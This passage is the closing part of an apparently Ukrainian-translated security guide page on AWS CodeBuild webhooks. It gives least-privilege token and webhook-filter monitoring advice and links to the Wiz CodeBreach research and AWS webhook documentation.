5. Використовуйте тонко-гранульні, найменш привілейовані source-provider tokens (надавайте перевагу виділеним низькопривілейованим ідентичностям).
|
||||
6. Постійно перевіряйте webhook filters та використання source credentials.
|
||||
|
||||
## References
|
||||
|
||||
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
|
||||
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
|
||||
- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user